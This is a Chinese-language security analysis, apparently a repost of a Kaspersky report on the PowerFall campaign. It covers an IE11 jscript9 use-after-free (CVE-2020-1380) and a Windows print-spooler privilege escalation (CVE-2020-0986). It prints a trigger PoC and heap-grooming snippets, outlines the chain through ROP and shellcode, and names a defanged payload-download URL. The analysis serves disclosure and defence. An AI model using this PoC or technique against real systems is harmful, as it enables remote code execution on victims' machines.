大神浅谈：IE和Windows的两个0-day漏洞分析

0x00 概述

2020年5月，卡巴斯基成功防御了Internet Explorer恶意脚本对某家韩国企业的攻击。经过进一步分析发现，该工具使用了以前未知的完整利用链，其中包括两个0-day漏洞：Internet Explorer远程代码执行漏洞、Windows特权提升漏洞。与我们以前在WizardOpium恶意活动中发现的攻击链不同，新的攻击链可以针对Windows 10的最新版本发动攻击。经过测试表明，该漏洞可以可靠地在Internet Explorer 11和Windows 10 x64的18363版本上利用。

2020年6月8日，我们向Microsoft报告了我们的发现，并且Microsoft已确认漏洞。在我们撰写报告时，Microsoft的安全团队已经针对CVE-2020-0986漏洞发布了补丁，修复这一特权提升0-day漏洞。但是，在我们发现该漏洞之前，这一漏洞的可利用性被评估为“不太可能”。CVE-2020-0986的修复程序在2020年6月9日发布。

Microsoft为JScript的Use-After-Free漏洞分配了CVE-2020-1380编号，该漏洞的补丁于2020年8月11日发布。

我们将这一系列攻击称为PowerFall恶意活动。目前，我们暂时不能将恶意活动与任何已知的威胁行为者建立明确联系，但根据它与以前发现漏洞的相似性，我们认为DarkHotel可能是此次攻击的幕后黑手。卡巴斯基产品目前将PowerFall攻击检测为“PDM:Exploit.Win32.Generic”。

0x01 Internet Explorer 11远程代码执行漏洞

在野外发现的Internet Explorer最新0-day攻击利用了旧版本JavaScript引擎jscript.dll中的漏洞CVE-2020-0674、CVE-2019-1429、CVE-2019-0676和CVE-2018-8653。其中，CVE-2020-1380是jscript9.dll中的一个漏洞，该漏洞自Internet Explorer 9开始存在，因此Microsoft建议的缓解步骤(限制jscript.dll的使用)无法针对这个特定漏洞实现防护。

CVE-2020-1380是一个释放后使用(Use-After-Free)漏洞，由于JIT优化过程中，JIT编译的代码中缺少必要的检查导致。下面展示了触发漏洞的PoC：

functionfunc(O,A,F,O2){
arguments.push=Array.prototype.push;
O=1;
arguments.length=0;
arguments.push(O2);
if(F==1){
O=2;
}

//executeabp.valueOf()andwritebydanglingpointer
A[5]=O;
};

//prepareobjects
varan=newArrayBuffer(0x8c);
varfa=newFloat32Array(an);

//compilefunc
func(1,fa,1,{});
for(vari=0;i<0x10000;i++){
func(1,fa,1,1);
}

varabp={};
abp.valueOf=function(){

//free
worker=newWorker('worker.js');
worker.postMessage(an,[an]);
worker.terminate();
worker=null;

//sleep
varstart=Date.now();
while(Date.now()-start<200){}

//TODO:reclaimfreedmemory

return0
};

try{
func(1,fa,0,abp);
}catch(e){
reload()
}

要理解这一漏洞，我们首先看一下func()的执行方式。这里，重要的是了解将什么值设置为A[5]。根据代码，与之相关的应该是一个参数O。在函数开始时，会将参数O重新分配为1，但随后将函数参数长度设置为0。这个操作不会清除函数参数(通常，常规数组会这样做)，但允许将参数O2放在索引为0的参数列表1中，这意味着O = O2。除此之外，如果参数F等于1，则会再次重新分配O，但这次会分配整数2。这意味着，根据参数F的值，O参数会等于O2参数的值或是整数2。参数A是32位浮点型数组，在将值分配给数组的索引5之前，会将值首先转换为浮点数。将整数转换为浮点数的过程比较简单，但是如果要将对象转换为浮点数，这个过程就不再那么简单了。该漏洞利用使用了重载方法valueOf()中的abp对象。当对象转换为浮点型时执行此方法，但是在其内部，包含释放ArrayBuffer的代码，该代码由Float32Array查看，并在其中设置返回值。为了防止将值存储在已释放对象的内存中，JavaScript引擎需要首先检查对象的状态，然后再将值存储在对象中。为了安全地转换和存储浮点值，JScript9.dll使用函数Js::TypedArray::BaseTypedDirectSetItem()。下面是这个函数的反编译代码：

intJs::TypedArray<float,0>::BaseTypedDirectSetItem(Js::TypedArray<float,0>*this,unsignedintindex,void*object,intreserved)
{
Js::JavascriptConversion::ToNumber(object,this->type->library->context);
if(LOBYTE(this->view[0]->unusable))
Js::JavascriptError::ThrowTypeError(this->type->library->context,0x800A15E4,0);
if(index<this->count)
{
*(float*)&this->buffer[4*index]=Js::JavascriptConversion::ToNumber(
object,
this->type->library->context);
}
return1;
}

doubleJs::JavascriptConversion::ToNumber(void*object,structJs::ScriptContext*context)
{
if((unsignedchar)object&1)
return(double)((int)object>>1);
if(*(void**)object==VirtualTableInfo<Js::JavascriptNumber>::Address[0])
return*((double*)object+1);
returnJs::JavascriptConversion::ToNumber_Full(object,context);
}

该函数检查浮点型数组的view[0]->unusable和count字段。在执行valueOf()方法的过程中，当ArrayBuffer被释放时，这两项检查都将失败，因为此时view[0]->unusable为1，并且在第一次调用Js::JavascriptConversion::ToNumber()时count为0。问题在于，Js::TypedArray::BaseTypedDirectSetItem()函数仅在解释模式下使用。

当函数func()被即时编译时，JavaScript引擎将会使用以下存在漏洞的代码：

if(!((unsignedchar)floatArray&1)&&*(void*)floatArray==&Js::TypedArray<float,0>::vftable)
{
if(floatArray->count>index)
{
buffer=floatArray->buffer+4*index;
if(object&1)
{
*(float*)buffer=(double)(object>>1);
}
else
{
if(*(void*)object!=&Js::JavascriptNumber::vftable)
{
Js::JavascriptConversion::ToFloat_Helper(object,(float*)buffer,context);
}
else
{
*(float*)buffer=*(double*)(object->value);
}
}
}
}

这是Js::JavascriptConversion::ToFloat_Helper()函数的代码：

voidJs::JavascriptConversion::ToFloat_Helper(void*object,float*buffer,structJs::ScriptContext*context)
{
*buffer=Js::JavascriptConversion::ToNumber_Full(object,context);
}

如我们所见，与解释模式不同，在即时编译的代码中，不会检查ArrayBuffer的生命周期，并且可以释放它的内存，然后在调用valueOf()函数时将其回收。此外，攻击者可以控制将返回值写入到哪个索引中。但是，在arguments.length = 0;和arguments.push(O2);的情况下，PoC会将其替换为arguments[0] = O2;，所以Js::JavascriptConversion::ToFloat_Helper()就不会触发这个Bug，因为隐式调用将被禁用，并且不会执行对valueOf()函数的调用。

为了确保及时编译函数func()，漏洞利用程序会执行该函数0x10000次，对整数进行无害的转换，并且只有在再次执行func()之后，才会触发Bug。为了释放ArrayBuffer，漏洞利用使用了一种滥用Web Workers API的通用技术。postMessage()函数可以用于将对象序列化为消息，并将其发送给worker。但是，这里的一个副作用是，已传输的对象会被释放，并且在当前脚本上下文中变为不可用。在释放ArrayBuffer后，漏洞利用程序通过模拟Sleep()函数使用的代码触发垃圾回收机制。这是一个while循环，用于检查Date.now()与先前存储的值之间的时间间隔。完成后，漏洞利用会使用整数数组回收内存。

for(vari=0;i<T.length;i+=1){
T[i]=newArray((0x1000-0x20)/4);
T[i][0]=0x666;//itemneedstobesettoallocateLargeHeapBucket
}

在创建大量数组后，Internet Explorer会分配新的LargeHeapBlock对象，这些对象会被IE的自定义堆实现使用。LargeHeapBlock对象将存储缓冲区地址，将这些地址分配给数组。如果成功实现了预期的内存布局，则该漏洞将使用0覆盖LargeHeapBlock偏移量0x14处的值，该值恰好是分配的块数。

jscript9.dll x86的LargeHeapBlock结构：

此后，漏洞利用会分配大量的数组，并将它们设置为在漏洞利用初始阶段准备好的另一个数组。然后，将该数组设置为null，漏洞利用程序调用CollectGarbage()函数。这将导致堆碎片整理，修改后的LargeHeapBlock及其相关的数组缓冲区将被释放。在这个阶段，漏洞利用会创建大量的整数数组，以回收此前释放的数组缓冲区。新创建的数组的魔术值设置为索引0，该值通过指向先前释放的数组的悬空指针以进行检查，从而确认漏洞利用是否成功。

for(vari=0;i<K.length;i+=1){
K[i]=newArray((0x1000-0x20)/4);
K[i][0]=0x888;//storemagic
}

for(vari=0;i<T.length;i+=1){
if(T[i][0]==0x888){//findarrayaccessiblethroughdanglingpointer
R=T[i];
break;
}
}

最后，漏洞利用创建了两个不同的JavascriptNativeIntArray对象，它们的缓冲区指向相同的位置。这样，就可以检索对象的地址，甚至可以创建新的格式错误的对象。该漏洞利用使用这些原语来创建格式错误的DataView对象，并获得对该进程整个地址空间的读/写访问权限。

在构建了任意的读/写原语之后，就可以绕过控制流防护(CFG)并执行代码了。该漏洞利用使用数组的vftable指针获取jscript9.dll的模块基址。从这里，它解析jscript9.dll的PT头，以获得导入目录表的地址，并解析其他模块的基址。这里的目标是找到函数VirtualProtect()的基址，该地址将用于执行Shellcode的过程。之后，漏洞利用程序在jscript9.dll中搜索两个签名。这些签名对应Unicode字符串split和JsUtil::DoublyLinkedListElement::LinkToBeginning()函数地址。Unicode字符串split的地址用于获取对该字符串的代码引用，并借助它来帮助解析函数Js::JavascriptString::EntrySplit()的地址，该函数实现了字符串方法split()。函数LinkToBeginning()的地址用于获取全局链表中第一个ThreadContext对象的地址。这个漏洞利用程序会在链表中找到最后一个条目，并利用它为负责执行脚本的线程获取堆栈位置。然后，就到了最后一个阶段。漏洞利用程序执行split()方法，并提供一个具有重载valueOf()方法的对象作为限制参数。在执行Js::JavascriptString::EntrySplit()函数的过程中，执行重载的valueOf()方法时，漏洞利用程序将搜索线程的堆栈以查找返回地址，将Shellcode放置在准备好的缓冲区中，获取其地址。最后，通过覆盖函数的返回地址，构建一个面向返回的编程(ROP)链以执行Shellcode。

0x02 下一阶段

Shellcode是附加到Shellcode上的可移植可执行(PE)模块的反射DLL加载器。这个模块非常小，全部功能都位于单个函数内。它在名为ok.exe的临时文件夹中创建一个文件，将远程执行代码中利用的另一个可执行文件的内容写入到其中。之后，执行ok.exe。

ok.exe可执行文件包含针对GDI Print / Print Spooler API中的任意指针解引用特权提升漏洞(CVE-2020-0986)。该漏洞最初是一位匿名用户通过Trend Micro的Zero Day Initiative计划向Microsoft报告的。由于该漏洞在报告后的6个月内未发布补丁，因此ZDI将这一0-day漏洞进行披露，披露日期为2020年5月19日。第二天，这一漏洞就已经在先前提到的攻击中被利用。

利用这一漏洞，可以使用进程间通信来读取和写入splwow64.exe进程的任意内存，并绕过CFG和EncodePointer保护，从而实现splwow64.exe中的代码执行。该漏洞利用程序的资源中嵌入了两个可执行文件。第一个可执行文件以CreateDC.exe的形式写入磁盘，并用于创建设备上下文(DC)，这是漏洞利用所必需的。第二个可执行文件的名称为PoPc.dll，如果利用成功，会由具有中等完整性级别的splwow64.dll执行。我们将在后续文章中提供有关CVE-2020-0986及其漏洞利用的更多信息。

从splwow64.exe执行恶意PowerShell命令：

PoPc.dll的主要功能也位于单个函数之中。它执行一个编码后的PowerShell命令，该命令用于从www[.]static-cdn1[.]com/update.zip下载文件，将其保存为临时文件upgrader.exe并执行。由于卡巴斯基已经在下载可执行文件前阻止了攻击，因此我们未能拿到upgrader.exe，无法对其进行进一步分析。